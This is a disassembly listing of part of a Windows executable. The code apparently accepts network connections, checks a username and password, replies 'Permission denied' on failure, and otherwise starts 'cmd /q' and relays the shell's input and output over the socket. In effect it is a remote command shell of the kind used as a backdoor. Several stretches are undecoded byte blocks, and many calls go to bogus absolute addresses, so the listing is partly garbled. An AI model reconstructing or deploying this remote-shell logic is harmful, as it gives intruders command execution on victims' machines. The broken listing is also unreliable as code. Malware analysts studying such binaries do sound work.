		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E5B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4351CC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3BA
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410F3C
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 228F184h, 69C44D8Bh,	234C9h,	89C63B00h, 43E92481h, 39137400h
		dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 228F100h,	65E8EDEBh
		dd 900228FAh, 51906850h, 99E80043h, 5900004Eh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------


loc_410F17:				; CODE XREF: ___:00410E0Ej
					; ___:00410E42j ...
		mov	edi, [ebp+8]


loc_410F1A:				; CODE XREF: ___:00410F15j
		push	edi
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-40h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi


loc_410F3C:				; DATA XREF: ___:00410ECFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CBA54
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB9D4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410FCC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CBA58
		jmp	short loc_410FDA
; ---------------------------------------------------------------------------


loc_410FCC:				; CODE XREF: ___:00410FBBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB98C


loc_410FDA:				; CODE XREF: ___:00410FCAj
		cmp	eax, edi
		jz	loc_4110F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_435254
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3BA
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E91C[ebx]
		mov	dword_43E914[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E920[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_411123
		push	edi
		push	edi
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E924[ecx], eax
		jz	short loc_4110DF


loc_41108C:				; CODE XREF: ___:00411099j
		cmp	[ebp-20h], edi
		jnz	short loc_41109B
		push	32h
		call	near ptr 26A0000h
		nop
		jmp	short loc_41108C
; ---------------------------------------------------------------------------


loc_41109B:				; CODE XREF: ___:0041108Fj
		mov	ebx, 1000h


loc_4110A0:				; CODE XREF: ___:004110DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		cmp	eax, edi
		jle	short loc_4110F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4110A0
		jmp	short loc_4110F2
; ---------------------------------------------------------------------------


loc_4110DF:				; CODE XREF: ___:0041108Aj
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_435214
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_4110F2:				; CODE XREF: ___:00410F80j
					; ___:00410FDCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E91C[eax]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
		pop	ebx


loc_411123:				; DATA XREF: ___:0041106Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41115A:				; CODE XREF: ___:0041119Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E920[esi]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4111A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E91C[esi]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41115A


loc_4111A1:				; CODE XREF: ___:00411184j
		push	dword_43E920[esi]
		call	dword_4CBA6C
		push	dword ptr [ebp-14h]
		call	sub_40B6D6
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		dd 2EEE43E8h, 5E5F9002h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E91C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_411244
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h


loc_411244:				; CODE XREF: ___:0041122Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4113C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB928
		test	eax, eax
		jz	short loc_4112BD
		call	dword_4CB968
		push	eax
		push	offset unk_43532C
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 2700000h


loc_4112BD:				; CODE XREF: ___:00411298j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, edi
		jnz	short loc_4112E7
		push	dword ptr [ebp-18h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C266
		jmp	short loc_4112F5
; ---------------------------------------------------------------------------


loc_4112E7:				; CODE XREF: ___:004112CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C890


loc_4112F5:				; CODE XREF: ___:004112E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43DB88
		push	dword ptr [esi]
		call	dword_4CBA24
		cmp	dword_4CE72C, edi
		jnz	short loc_411357
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41141F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411357
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CBA24
		push	dword ptr [esi]
		call	dword_4CBA6C
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h


loc_411357:				; CODE XREF: ___:0041130Cj
					; ___:0041132Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4352F0
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_4116D6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41139E
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_4352C4
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 0Ch
		push	ebx
		call	near ptr 2700000h
		nop


loc_41139E:				; CODE XREF: ___:00411379j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_435298
		call	sub_415DAC
		push	dword ptr [ebp+8]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 2700000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4113C5	proc near		; CODE XREF: ___:0041125Ap
					; ___:00411267p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jnz	short loc_411415
		mov	esi, [ebp+arg_4]


loc_4113E3:				; CODE XREF: sub_4113C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_41140A
		test	al, al
		jz	short loc_411419
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		cmp	eax, 1
		jz	short loc_4113E3
		jmp	short loc_411415
; ---------------------------------------------------------------------------


loc_41140A:				; CODE XREF: sub_4113C5+27j
		push	offset unk_435358
		call	sub_415DAC
		pop	ecx


loc_411415:				; CODE XREF: sub_4113C5+19j
					; sub_4113C5+43j
		xor	eax, eax
		jmp	short loc_41141C
; ---------------------------------------------------------------------------


loc_411419:				; CODE XREF: sub_4113C5+2Bj
		push	1
		pop	eax


loc_41141C:				; CODE XREF: sub_4113C5+52j
		pop	esi
		leave
		retn
sub_4113C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41141F	proc near		; CODE XREF: ___:00411323p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41144A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_435384
		call	sub_415DAC
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41144A:				; CODE XREF: sub_41141F+11j
		push	1
		pop	eax
		retn
sub_41141F	endp

; ---------------------------------------------------------------------------
word_41144E	dw 8B55h		; DATA XREF: sub_401ACD+237Ao
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB944h, 0C63BF633h, 68501D74h
		dd 4354F4h, 4917E8h, 0B475FF00h, 0FFA239E8h, 0CC483FFh
		dd 59E89057h, 57022EEBh, 4116CC68h, 0F8E89000h,	850238F5h
		dd 902975C0h, 28F4AFE8h, 0B0685002h, 0E8004354h, 48E4h
		dd 15FF5959h, 4CB92Ch, 0E8B475FFh, 0FFFFA1FEh, 0E8905759h
		dd 22EEB20h, 8D106A53h,	5056E045h, 0AA83E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 0D415FFB0h, 6A004CB9h, 26A5706h
		dd 0E2458966h, 0FFE47589h, 4CBA5415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E91C98h, 0E0458D00h
		dd 15FF5350h, 4CBA00h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB9FCh, 850FC085h, 103h, 43547468h,	0F045C700h, 0Ch
		dd 89F47589h, 0CDE8F875h, 59000047h, 8D087D89h,	45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CBA6815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB9B415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0BA6015FFh, 8D50004Ch, 0FFFBEC85h, 543068FFh
		dd 0E8500043h, 0AC96h, 0FBEC858Dh, 0E850FFFFh, 475Ch, 0EC858D57h
		dd 6AFFFFFBh, 0CFE85009h, 89FFFF9Dh, 0C069B845h, 234h
		dd 83B44D8Bh, 888924C4h, 43E914h, 50DC458Dh, 0FDEC858Dh
		dd 5056FFFFh, 4111C068h, 0F0458D00h, 0E8905056h, 228EA44h
		dd 69B84D8Bh, 234C9h, 89C63B00h, 43E92481h, 39137400h
		dd 850FC875h, 0FFFFFF37h, 0E890326Ah, 228E9C0h,	0E890EDEBh
		dd 228F324h, 53F46850h,	59E80043h, 59000047h, 8B03EB59h
		dd 15FF087Dh, 4CB968h, 0EC858D50h, 68FFFFFBh, 4353BCh
		dd 0ABF4E850h, 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h
		dd 0C075FFFFh, 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0D2E8FFFFh
		dd 83FFFF81h, 858D14C4h, 0FFFFFBECh, 4692E850h,	57590000h
		dd 0BA6C15FFh, 0FF53004Ch, 4CBA6C15h, 2C15FF00h, 0FF004CB9h
		dd 13E8B475h, 59FFFFA0h, 35E89056h, 5B022EE9h, 4439C033h
		dd 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116D6	proc near		; CODE XREF: ___:0041136Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411827
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E91C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_427084
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119F9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411741
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41177B
; ---------------------------------------------------------------------------


loc_411741:				; CODE XREF: sub_4116D6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411AAB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411782
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_435554
		call	sub_415DAC
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26B0817h


loc_41177B:				; CODE XREF: sub_4116D6+69j
		xor	eax, eax
		jmp	loc_411822
; ---------------------------------------------------------------------------


loc_411782:				; CODE XREF: sub_4116D6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27A0DC3h
		sub	eax, ebx
		jz	short loc_4117DC
		dec	eax
		jz	short loc_4117D6
		dec	eax
		jz	short loc_4117C2
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_435520
		call	sub_415DAC
		pop	ecx
		pop	ecx
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117C2:				; CODE XREF: sub_4116D6+D5j
		mov	edi, dword_4270B4
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117F1
; ---------------------------------------------------------------------------


loc_4117D6:				; CODE XREF: sub_4116D6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4117E0
; ---------------------------------------------------------------------------


loc_4117DC:				; CODE XREF: sub_4116D6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4117E0:				; CODE XREF: sub_4116D6+104j
		nop
		call	near ptr 26B0817h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 27309D5h


loc_4117F1:				; CODE XREF: sub_4116D6+EAj
					; sub_4116D6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427070
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CBA6C
		push	esi
		call	sub_41BA91
		pop	ecx
		push	1
		pop	eax


loc_411822:				; CODE XREF: sub_4116D6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411827	proc near		; CODE XREF: sub_4116D6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411911
		mov	ebx, dword_427108
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427070
		test	eax, eax
		jnz	short loc_41188A
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_435604
		jmp	short loc_4118AA
; ---------------------------------------------------------------------------


loc_41188A:				; CODE XREF: sub_411827+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4118B2
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_4355C4


loc_4118AA:				; CODE XREF: sub_411827+61j
		call	sub_415DAC
		pop	ecx
		jmp	short loc_4118E0
; ---------------------------------------------------------------------------


loc_4118B2:				; CODE XREF: sub_411827+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411920
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411915
		push	offset unk_43559C
		call	sub_415D38


loc_4118E0:				; CODE XREF: sub_411827+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118EC
		push	[ebp+var_4]
		call	edi


loc_4118EC:				; CODE XREF: sub_411827+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118F7
		push	[ebp+var_8]
		call	edi


loc_4118F7:				; CODE XREF: sub_411827+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411900
		push	eax
		call	edi


loc_411900:				; CODE XREF: sub_411827+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41190A
		push	eax
		call	edi


loc_41190A:				; CODE XREF: sub_411827+DEj
		push	esi
		call	sub_41BA91
		pop	ecx


loc_411911:				; CODE XREF: sub_411827+1Dj
		xor	eax, eax
		jmp	short loc_41191B
; ---------------------------------------------------------------------------


loc_411915:				; CODE XREF: sub_411827+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41191B:				; CODE XREF: sub_411827+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411827	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411920	proc near		; CODE XREF: sub_411827+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BF70
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427104
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2680493h
		nop
		test	eax, eax
		jz	short loc_4119DC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43E918[eax], ecx
		nop
		call	near ptr 2680157h
		jmp	short loc_4119F2
; ---------------------------------------------------------------------------


loc_4119DC:				; CODE XREF: sub_411920+9Aj
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_435644
		call	sub_415DAC
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119F2:				; CODE XREF: sub_411920+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119F9	proc near		; DATA XREF: sub_4116D6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270EC
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi
		push	eax
		push	offset dword_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		call	near ptr 27A0E67h
		nop
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
